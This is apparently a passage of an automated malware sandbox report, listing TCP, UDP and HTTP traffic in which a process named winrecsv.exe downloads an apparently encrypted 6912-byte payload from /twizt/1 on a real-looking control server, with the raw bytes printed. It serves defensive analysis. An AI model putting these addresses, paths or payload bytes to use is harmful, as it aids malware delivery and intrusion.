Aug 15, 2022 18:32:59.191767931 CEST	49842	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:33:03.377527952 CEST	49842	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:33:03.378587008 CEST	49852	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:33:03.438843012 CEST	80	49842	185.215.113.66	192.168.2.7
Aug 15, 2022 18:33:03.438875914 CEST	80	49852	185.215.113.66	192.168.2.7
Aug 15, 2022 18:33:03.439008951 CEST	49842	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:33:03.439035892 CEST	49852	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:33:03.461499929 CEST	49852	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:33:03.518521070 CEST	80	49852	185.215.113.66	192.168.2.7
Aug 15, 2022 18:33:03.518565893 CEST	80	49852	185.215.113.66	192.168.2.7
Aug 15, 2022 18:33:03.518718958 CEST	49852	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:33:04.547296047 CEST	49852	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:33:04.604347944 CEST	80	49852	185.215.113.66	192.168.2.7
Aug 15, 2022 18:33:04.604392052 CEST	80	49852	185.215.113.66	192.168.2.7
Aug 15, 2022 18:33:04.604516983 CEST	49852	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:33:05.621536016 CEST	49852	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:33:05.686299086 CEST	80	49852	185.215.113.66	192.168.2.7
Aug 15, 2022 18:33:05.686567068 CEST	80	49852	185.215.113.66	192.168.2.7
Aug 15, 2022 18:33:05.686641932 CEST	49852	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:33:06.697235107 CEST	49852	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:33:06.754378080 CEST	80	49852	185.215.113.66	192.168.2.7
Aug 15, 2022 18:33:06.754712105 CEST	49852	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:33:07.794137955 CEST	49852	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:33:07.851281881 CEST	80	49852	185.215.113.66	192.168.2.7
Aug 15, 2022 18:33:07.851386070 CEST	49852	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:33:11.009428978 CEST	49852	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:33:11.010505915 CEST	49859	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:33:11.069844961 CEST	80	49852	185.215.113.66	192.168.2.7
Aug 15, 2022 18:33:11.069967031 CEST	49852	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:33:11.070147038 CEST	80	49859	185.215.113.66	192.168.2.7
Aug 15, 2022 18:33:11.070245028 CEST	49859	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:33:11.077593088 CEST	49859	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:33:11.134000063 CEST	80	49859	185.215.113.66	192.168.2.7
Aug 15, 2022 18:33:11.134056091 CEST	80	49859	185.215.113.66	192.168.2.7
Aug 15, 2022 18:33:11.134139061 CEST	49859	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:33:12.150340080 CEST	49859	80	192.168.2.7	185.215.113.66
Aug 15, 2022 18:33:12.211819887 CEST	80	49859	185.215.113.66	192.168.2.7
Aug 15, 2022 18:33:12.211927891 CEST	80	49859	185.215.113.66	192.168.2.7
Aug 15, 2022 18:33:12.212024927 CEST	49859	80	192.168.2.7	185.215.113.66

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 15, 2022 18:31:33.805222988 CEST	57861	40500	192.168.2.7	105.106.149.0
Aug 15, 2022 18:31:38.840588093 CEST	57861	40500	192.168.2.7	89.236.217.87

HTTP Request Dependency Graph

185.215.113.66

185.215.113.84

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.7	49762	185.215.113.66	80	C:\Windows\winrecsv.exe

Timestamp	kBytes transferred	Direction	Data
Aug 15, 2022 18:31:30.836591005 CEST	852	OUT	GET /twizt/1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:31:30.893227100 CEST	853	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:31:30 GMT Content-Type: application/octet-stream Content-Length: 6912 Last-Modified: Wed, 03 Aug 2022 19:43:49 GMT Connection: keep-alive ETag: "62eacff5-1b00" Accept-Ranges: bytes Data Raw: 99 48 11 ca 18 56 76 a4 f4 38 bd bc d2 0d bb d5 b1 61 b6 3d 7f 64 ff ce 05 55 f1 ed 72 63 6e 7b c8 dc 2c 03 c6 6d 13 4b e7 c2 db d2 45 cd ed 72 65 aa c4 db 89 6c e6 54 1b 00 9d ff 66 d3 57 23 07 d0 b5 b8 52 aa 70 40 33 12 92 0d 62 38 eb 6f aa ae ce eb bc a1 b4 6d 46 fb 3c 01 99 7b 8b 67 98 2f 64 81 5b 30 04 2f d9 0d f7 c8 2d fe 77 c2 1d 36 1a a4 e4 35 64 74 e6 0d 11 fd 27 b6 b0 53 20 63 50 09 4c 50 ce f2 7f fe ae f3 59 f0 10 3e 63 71 20 7d c3 20 ca 3d 6c 9b 68 6d 06 57 51 2c 8a 4f 44 97 29 1c 6b 16 72 49 f5 f6 f4 25 54 26 61 60 23 70 e8 37 c4 4c 86 a1 b6 70 8c 63 35 d9 fc f4 94 4f 6e 9d 90 4b c5 dd 05 76 67 89 e3 26 7b 96 78 74 6a ab 0f 00 af 87 af 91 3b 2b 15 0a 1a bf 13 12 92 7b 5d 2b 04 1f 8b 5d 31 9f 1c 0c 0c 50 a8 45 81 0f 1f 12 2e b3 ef 32 1d 4e c6 df a2 f5 88 47 a6 12 81 b1 05 5a 3e 5a 58 f0 9b 7d 33 5d a0 a6 6c a7 72 d5 c5 f0 58 06 19 af 10 34 3e ee 9d a1 75 64 26 b8 22 a9 4a 52 89 ee 94 6f 27 04 a5 23 7c 5c e7 93 f1 90 a9 37 8b 47 b2 51 24 d8 6a 91 28 49 e5 12 c9 d4 3e 2c 78 31 78 07 71 49 4c e2 36 0a 88 88 18 f4 51 dd 00 d1 e7 44 ca 80 cc e7 52 c0 96 4a 70 15 be 35 1f 36 f2 65 23 4f cf dc ea ec a0 fc 46 53 14 75 43 66 d9 b9 1b 4a 63 ba f1 54 cd 30 a0 34 cd a1 09 a0 4e 92 7d bf 86 1a 4f 8b 2c 1e db 51 86 11 32 1a e7 26 60 ce af 00 50 0d bc 0b 72 11 33 81 21 f7 c2 de a7 de 73 bc 4e 3c 72 48 62 a7 85 4c 30 5b 48 c2 1e d5 a4 dd 85 cc b0 fa 26 b4 3d 33 3f 42 b1 52 6f 1d d1 6b 0c a5 e3 75 3f 1f d8 ba 11 6c ff 3c 79 bb 35 22 8a c7 ac 81 b1 75 86 3e 29 38 2d d6 e3 ea 15 8d 89 5e 1c 16 63 10 4f 46 b4 9f c3 53 b4 53 59 44 e6 53 7d fa 9d 0c dc f1 b0 e5 94 e2 d6 dd 93 b2 85 f1 70 d6 af 5b a6 98 c2 ec 4d 0a 22 ec 8d 6c 02 82 2f fe 22 bc b5 b3 08 c8 78 b0 2e 49 d4 4a 6a 22 19 d7 0d c2 2c 52 29 e1 19 71 4a 93 bb 73 6d 50 b0 54 97 25 49 0e 6e 77 29 35 0e 92 27 a0 9b 87 e5 f7 7c 06 71 ca af 49 e3 77 c7 55 7a 3f dc 05 7f 71 d6 ba ab 16 55 59 fb db 43 96 94 33 7f 5a 9b 72 6b 17 8f 78 bf a2 fa c7 46 ee d9 47 d9 ca 8b 88 21 fa d0 75 98 86 45 0e bd cd c8 c9 9f 52 f9 cd 41 d1 73 c1 e1 60 2a 72 30 15 2b dc 35 a7 cd bb d1 f4 ab 87 78 a7 c0 ce 13 85 02 89 2d 06 e5 a6 88 6f da 6b f1 82 1d 3a 79 f0 72 a9 c2 25 37 4c dc d3 80 04 2e bc d8 ac 3e 77 29 43 1f 02 d7 10 9c 90 31 4e 75 50 5a da cc 2e 57 4e 3e 49 94 d0 c2 b3 8d 52 87 17 a2 d5 72 da ae 3b f0 dc f0 41 cd d1 0f 39 08 64 98 2f 74 78 15 9c 84 7b a7 e3 41 ee 52 db 25 e4 06 79 ae b7 f2 0f 5e cf 34 5e 78 00 fa fd f0 ba 98 a5 ef 11 aa 0a 14 71 07 ae d9 19 8e 07 12 80 c3 b1 1c 2e 24 2f cf eb 97 a1 3d 7b da 17 bc 1e b4 ad 7f ab 8d e3 e8 bf 33 ee 2e ee c1 36 2f f4 06 60 a5 7b 1e c0 07 13 fa 8f 9a 51 63 ed 1c 28 5c 1a 17 1f d0 2c c1 c7 7e 62 ae 2d 53 b3 9e 20 61 b4 14 40 f0 90 ec 22 10 67 3b 28 a1 ec 23 1e ad 63 c5 c5 b7 c2 fe 13 ba 1e f0 50 aa 15 3f dd c3 1e a6 15 7c 65 88 b7 54 f7 20 04 f6 1b 6e 7d 79 47 5d 5f 88 3a b1 67 d8 cc 7b f7 26 a6 70 67 12 9e 65 07 96 30 9d 03 7b 8d 59 16 50 9d 38 1b fb 65 33 9e a0 93 8d a7 21 b9 fb 68 58 b7 0f 71 d1 4c 4c ef 17 d5 ce 6a 51 5e c8 87 37 de 45 84 84 de 9c 3f 43 d6 b2 05 b4 2c 77 25 d6 b7 af aa 86 c3 e6 e4 c0 13 a6 f0 08 14 34 0b f4 3a e7 65 ca 59 32 cd 03 18 9d f0 47 c8 32 fb 44 48 71 3f 21 28 ed 2d ce 48 a5 e6 95 8a 37 f1 89 20 2d 74 01 70 d4 75 31 4f 50 a5 9d 99 46 6a be e6 65 8b c1 32 f9 fe Data Ascii: HVv8a=dUrcn{,mKErelTfW#Rp@3b8omF<{g/d[0/-w65dt'S cPLPY>cq } =lhmWQ,OD)krI%T&a`#p7Lpc5OnKvg&{xtj;+{]+]1PE.2NGZ>ZX}3]lrX4>ud&"JRo'#\|\7GQ$j(I>,x1xqIL6QDRJp56e#OFSuCfJcT04N}O,Q2&`Pr3!sN<rHbL0[H&=3?BRoku?l<y5"u>)8-^cOFSSYDS}p[M"l/"x.IJj",R)qJsmPT%Inw)5'\|qIwUz?qUYC3ZrkxFG!uERAs`*r0+5x-ok:yr%7L.>w)C1NuPZ.WN>IRr;A9d/tx{AR%y^4^xq.$/={3.6/`{Qc(\,~b-S a@"g;(#cP?\|eT n}yG]_:g{&pge0{YP8e3!hXqLLjQ^7E?C,w%4:eY2G2DHq?!(-H7 -tpu1OPFje2
Aug 15, 2022 18:31:30.893254995 CEST	855	IN	Data Raw: 5d ba ee f2 26 70 38 40 98 3a bb 68 d0 9c aa de 65 09 92 78 d9 0d 07 6d f1 24 4c 2a 7b 7c ab 07 1f b9 8c 1f 61 e2 b8 1f 2a 6e 5b d1 d9 0a 45 4d 36 f7 24 f9 d2 94 07 04 f4 da 64 a3 87 43 12 55 ee 1f 7c 5a ca b0 19 b1 cb 15 dc fe 0f fe 4e 70 d8 e3 Data Ascii: ]&p8@:hexm$L{\|an[EM6$dCU\|ZNpZ\|/tYOsg_*Hio93[Z%R,/k@%Dg'+[;_IFze-GHUAo9]`w28 ~lLPB\|o;'XSVH
Aug 15, 2022 18:31:30.893306971 CEST	856	IN	Data Raw: 75 95 f6 40 89 ad e8 a3 0a 80 02 74 8d 77 b9 f8 0c 4e b5 9d 92 4b e5 fe ed c4 a5 89 1c d0 ca 24 e8 2f 4d 42 7c 5e a4 dd d6 2b b6 14 55 81 8b 8c 06 f1 6e 42 79 15 53 fe b6 e2 3f 65 e7 24 61 a9 45 43 f1 b9 d7 b7 02 c3 f1 0d 6a 4a d4 2f cc 2b 81 fa Data Ascii: u@twNK$/MB\|^+UnByS?e$aECjJ/+Kv>H'Ur69z,M-BD#)0$=uFe,5%!;~~O<ff\w}Ts9Mn({hbV_?\|s+oPf
Aug 15, 2022 18:31:30.893336058 CEST	857	IN	Data Raw: 19 41 c0 82 1e c2 12 92 56 ac d6 76 16 b1 01 76 22 2a 92 e6 50 b0 3a ef c0 31 11 ba 42 26 34 79 11 0f 9c b4 61 38 54 a9 6d fe e8 f2 c7 62 7c f5 bf 77 2a 2a 0b 04 05 a9 84 b4 1c d9 a8 4a 7a 26 ee e2 ba 2b 5f 16 af 3a c7 90 24 b7 8c 3d c3 c8 6c 50 Data Ascii: AVvv"P:1B&4ya8Tmb\|w*Jz&+_:$=lPh[zzybBKI"h;Z"rX3iFA-<qAhI@+t>Ms1$E},s{e]\|'BcT>0.FrpDydG
Aug 15, 2022 18:31:30.893359900 CEST	859	IN	Data Raw: 22 80 03 7b d8 10 5b 30 a7 51 0e c8 b4 43 fc e0 64 b9 34 aa 08 49 2a 8d 96 56 47 f2 aa fe 79 13 a8 81 8c 18 33 d0 89 98 ea c5 34 d1 78 86 dd 3a 86 3c 28 1d 9c eb 4a ef 9c af c2 5d 45 57 2f 47 83 c5 b0 46 ce cf 58 de df ac a9 89 ed 23 78 f9 54 63 Data Ascii: "{[0QCd4I*VGy34x:<(J]EW/GFX#xTcORE3,<#9:`_Edm1exacG#.3IZOUHR<%zpQ6'[BGQwazOA ~uTl'HcKQLMKQL
Aug 15, 2022 18:31:30.893424034 CEST	859	IN	Data Raw: 9c 69 43 23 82 c6 fd 99 3e 6b d8 67 89 fc 51 f7 91 1c 7f 5e 51 33 b6 c9 a8 bc a7 67 83 a8 37 3e 19 18 05 17 41 0f e7 21 48 35 aa 03 5c 17 71 7e ae d2 18 3b 26 57 54 94 4e f0 05 c2 6c 9a 30 c3 ee 9c 9b 2f 68 78 5e 55 c4 f2 29 a0 1e 26 88 f8 f7 ce Data Ascii: iC#>kgQ^Q3g7>A!H5\q~;&WTNl0/hx^U)&Q/~K0D6P,/3na^z3P2M`={.fo?m0s]sW1&@vG'kS7z]%$DA9:x^N3#h#J/wsy{:jW1_y

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.7	49763	185.215.113.66	80	C:\Windows\winrecsv.exe

Timestamp	kBytes transferred	Direction	Data
Aug 15, 2022 18:31:31.247442961 CEST	860	OUT	GET /twizt/1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:31:31.304255009 CEST	862	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:31:31 GMT Content-Type: application/octet-stream Content-Length: 6912 Last-Modified: Wed, 03 Aug 2022 19:43:49 GMT Connection: keep-alive ETag: "62eacff5-1b00" Accept-Ranges: bytes Data Raw: 99 48 11 ca 18 56 76 a4 f4 38 bd bc d2 0d bb d5 b1 61 b6 3d 7f 64 ff ce 05 55 f1 ed 72 63 6e 7b c8 dc 2c 03 c6 6d 13 4b e7 c2 db d2 45 cd ed 72 65 aa c4 db 89 6c e6 54 1b 00 9d ff 66 d3 57 23 07 d0 b5 b8 52 aa 70 40 33 12 92 0d 62 38 eb 6f aa ae ce eb bc a1 b4 6d 46 fb 3c 01 99 7b 8b 67 98 2f 64 81 5b 30 04 2f d9 0d f7 c8 2d fe 77 c2 1d 36 1a a4 e4 35 64 74 e6 0d 11 fd 27 b6 b0 53 20 63 50 09 4c 50 ce f2 7f fe ae f3 59 f0 10 3e 63 71 20 7d c3 20 ca 3d 6c 9b 68 6d 06 57 51 2c 8a 4f 44 97 29 1c 6b 16 72 49 f5 f6 f4 25 54 26 61 60 23 70 e8 37 c4 4c 86 a1 b6 70 8c 63 35 d9 fc f4 94 4f 6e 9d 90 4b c5 dd 05 76 67 89 e3 26 7b 96 78 74 6a ab 0f 00 af 87 af 91 3b 2b 15 0a 1a bf 13 12 92 7b 5d 2b 04 1f 8b 5d 31 9f 1c 0c 0c 50 a8 45 81 0f 1f 12 2e b3 ef 32 1d 4e c6 df a2 f5 88 47 a6 12 81 b1 05 5a 3e 5a 58 f0 9b 7d 33 5d a0 a6 6c a7 72 d5 c5 f0 58 06 19 af 10 34 3e ee 9d a1 75 64 26 b8 22 a9 4a 52 89 ee 94 6f 27 04 a5 23 7c 5c e7 93 f1 90 a9 37 8b 47 b2 51 24 d8 6a 91 28 49 e5 12 c9 d4 3e 2c 78 31 78 07 71 49 4c e2 36 0a 88 88 18 f4 51 dd 00 d1 e7 44 ca 80 cc e7 52 c0 96 4a 70 15 be 35 1f 36 f2 65 23 4f cf dc ea ec a0 fc 46 53 14 75 43 66 d9 b9 1b 4a 63 ba f1 54 cd 30 a0 34 cd a1 09 a0 4e 92 7d bf 86 1a 4f 8b 2c 1e db 51 86 11 32 1a e7 26 60 ce af 00 50 0d bc 0b 72 11 33 81 21 f7 c2 de a7 de 73 bc 4e 3c 72 48 62 a7 85 4c 30 5b 48 c2 1e d5 a4 dd 85 cc b0 fa 26 b4 3d 33 3f 42 b1 52 6f 1d d1 6b 0c a5 e3 75 3f 1f d8 ba 11 6c ff 3c 79 bb 35 22 8a c7 ac 81 b1 75 86 3e 29 38 2d d6 e3 ea 15 8d 89 5e 1c 16 63 10 4f 46 b4 9f c3 53 b4 53 59 44 e6 53 7d fa 9d 0c dc f1 b0 e5 94 e2 d6 dd 93 b2 85 f1 70 d6 af 5b a6 98 c2 ec 4d 0a 22 ec 8d 6c 02 82 2f fe 22 bc b5 b3 08 c8 78 b0 2e 49 d4 4a 6a 22 19 d7 0d c2 2c 52 29 e1 19 71 4a 93 bb 73 6d 50 b0 54 97 25 49 0e 6e 77 29 35 0e 92 27 a0 9b 87 e5 f7 7c 06 71 ca af 49 e3 77 c7 55 7a 3f dc 05 7f 71 d6 ba ab 16 55 59 fb db 43 96 94 33 7f 5a 9b 72 6b 17 8f 78 bf a2 fa c7 46 ee d9 47 d9 ca 8b 88 21 fa d0 75 98 86 45 0e bd cd c8 c9 9f 52 f9 cd 41 d1 73 c1 e1 60 2a 72 30 15 2b dc 35 a7 cd bb d1 f4 ab 87 78 a7 c0 ce 13 85 02 89 2d 06 e5 a6 88 6f da 6b f1 82 1d 3a 79 f0 72 a9 c2 25 37 4c dc d3 80 04 2e bc d8 ac 3e 77 29 43 1f 02 d7 10 9c 90 31 4e 75 50 5a da cc 2e 57 4e 3e 49 94 d0 c2 b3 8d 52 87 17 a2 d5 72 da ae 3b f0 dc f0 41 cd d1 0f 39 08 64 98 2f 74 78 15 9c 84 7b a7 e3 41 ee 52 db 25 e4 06 79 ae b7 f2 0f 5e cf 34 5e 78 00 fa fd f0 ba 98 a5 ef 11 aa 0a 14 71 07 ae d9 19 8e 07 12 80 c3 b1 1c 2e 24 2f cf eb 97 a1 3d 7b da 17 bc 1e b4 ad 7f ab 8d e3 e8 bf 33 ee 2e ee c1 36 2f f4 06 60 a5 7b 1e c0 07 13 fa 8f 9a 51 63 ed 1c 28 5c 1a 17 1f d0 2c c1 c7 7e 62 ae 2d 53 b3 9e 20 61 b4 14 40 f0 90 ec 22 10 67 3b 28 a1 ec 23 1e ad 63 c5 c5 b7 c2 fe 13 ba 1e f0 50 aa 15 3f dd c3 1e a6 15 7c 65 88 b7 54 f7 20 04 f6 1b 6e 7d 79 47 5d 5f 88 3a b1 67 d8 cc 7b f7 26 a6 70 67 12 9e 65 07 96 30 9d 03 7b 8d 59 16 50 9d 38 1b fb 65 33 9e a0 93 8d a7 21 b9 fb 68 58 b7 0f 71 d1 4c 4c ef 17 d5 ce 6a 51 5e c8 87 37 de 45 84 84 de 9c 3f 43 d6 b2 05 b4 2c 77 25 d6 b7 af aa 86 c3 e6 e4 c0 13 a6 f0 08 14 34 0b f4 3a e7 65 ca 59 32 cd 03 18 9d f0 47 c8 32 fb 44 48 71 3f 21 28 ed 2d ce 48 a5 e6 95 8a 37 f1 89 20 2d 74 01 70 d4 75 31 4f 50 a5 9d 99 46 6a be e6 65 8b c1 32 f9 fe Data Ascii: HVv8a=dUrcn{,mKErelTfW#Rp@3b8omF<{g/d[0/-w65dt'S cPLPY>cq } =lhmWQ,OD)krI%T&a`#p7Lpc5OnKvg&{xtj;+{]+]1PE.2NGZ>ZX}3]lrX4>ud&"JRo'#\|\7GQ$j(I>,x1xqIL6QDRJp56e#OFSuCfJcT04N}O,Q2&`Pr3!sN<rHbL0[H&=3?BRoku?l<y5"u>)8-^cOFSSYDS}p[M"l/"x.IJj",R)qJsmPT%Inw)5'\|qIwUz?qUYC3ZrkxFG!uERAs`*r0+5x-ok:yr%7L.>w)C1NuPZ.WN>IRr;A9d/tx{AR%y^4^xq.$/={3.6/`{Qc(\,~b-S a@"g;(#cP?\|eT n}yG]_:g{&pge0{YP8e3!hXqLLjQ^7E?C,w%4:eY2G2DHq?!(-H7 -tpu1OPFje2
Aug 15, 2022 18:31:31.304302931 CEST	863	IN	Data Raw: 5d ba ee f2 26 70 38 40 98 3a bb 68 d0 9c aa de 65 09 92 78 d9 0d 07 6d f1 24 4c 2a 7b 7c ab 07 1f b9 8c 1f 61 e2 b8 1f 2a 6e 5b d1 d9 0a 45 4d 36 f7 24 f9 d2 94 07 04 f4 da 64 a3 87 43 12 55 ee 1f 7c 5a ca b0 19 b1 cb 15 dc fe 0f fe 4e 70 d8 e3 Data Ascii: ]&p8@:hexm$L{\|an[EM6$dCU\|ZNpZ\|/tYOsg_*Hio93[Z%R,/k@%Dg'+[;_IFze-GHUAo9]`w28 ~lLPB\|o;'XSVH
Aug 15, 2022 18:31:31.304343939 CEST	864	IN	Data Raw: 75 95 f6 40 89 ad e8 a3 0a 80 02 74 8d 77 b9 f8 0c 4e b5 9d 92 4b e5 fe ed c4 a5 89 1c d0 ca 24 e8 2f 4d 42 7c 5e a4 dd d6 2b b6 14 55 81 8b 8c 06 f1 6e 42 79 15 53 fe b6 e2 3f 65 e7 24 61 a9 45 43 f1 b9 d7 b7 02 c3 f1 0d 6a 4a d4 2f cc 2b 81 fa Data Ascii: u@twNK$/MB\|^+UnByS?e$aECjJ/+Kv>H'Ur69z,M-BD#)0$=uFe,5%!;~~O<ff\w}Ts9Mn({hbV_?\|s+oPf
Aug 15, 2022 18:31:31.304390907 CEST	866	IN	Data Raw: 19 41 c0 82 1e c2 12 92 56 ac d6 76 16 b1 01 76 22 2a 92 e6 50 b0 3a ef c0 31 11 ba 42 26 34 79 11 0f 9c b4 61 38 54 a9 6d fe e8 f2 c7 62 7c f5 bf 77 2a 2a 0b 04 05 a9 84 b4 1c d9 a8 4a 7a 26 ee e2 ba 2b 5f 16 af 3a c7 90 24 b7 8c 3d c3 c8 6c 50 Data Ascii: AVvv"P:1B&4ya8Tmb\|w*Jz&+_:$=lPh[zzybBKI"h;Z"rX3iFA-<qAhI@+t>Ms1$E},s{e]\|'BcT>0.FrpDydG
Aug 15, 2022 18:31:31.304436922 CEST	867	IN	Data Raw: 22 80 03 7b d8 10 5b 30 a7 51 0e c8 b4 43 fc e0 64 b9 34 aa 08 49 2a 8d 96 56 47 f2 aa fe 79 13 a8 81 8c 18 33 d0 89 98 ea c5 34 d1 78 86 dd 3a 86 3c 28 1d 9c eb 4a ef 9c af c2 5d 45 57 2f 47 83 c5 b0 46 ce cf 58 de df ac a9 89 ed 23 78 f9 54 63 Data Ascii: "{[0QCd4I*VGy34x:<(J]EW/GFX#xTcORE3,<#9:`_Edm1exacG#.3IZOUHR<%zpQ6'[BGQwazOA ~uTl'HcKQLMKQL
Aug 15, 2022 18:31:31.304474115 CEST	868	IN	Data Raw: 9c 69 43 23 82 c6 fd 99 3e 6b d8 67 89 fc 51 f7 91 1c 7f 5e 51 33 b6 c9 a8 bc a7 67 83 a8 37 3e 19 18 05 17 41 0f e7 21 48 35 aa 03 5c 17 71 7e ae d2 18 3b 26 57 54 94 4e f0 05 c2 6c 9a 30 c3 ee 9c 9b 2f 68 78 5e 55 c4 f2 29 a0 1e 26 88 f8 f7 ce Data Ascii: iC#>kgQ^Q3g7>A!H5\q~;&WTNl0/hx^U)&Q/~K0D6P,/3na^z3P2M`={.fo?m0s]sW1&@vG'kS7z]%$DA9:x^N3#h#J/wsy{:jW1_y
Aug 15, 2022 18:31:38.826719999 CEST	870	OUT	GET /twizt/2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:31:38.883768082 CEST	871	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:31:38 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 15, 2022 18:31:39.898257017 CEST	871	OUT	GET /twizt/3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:31:39.955102921 CEST	872	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:31:39 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 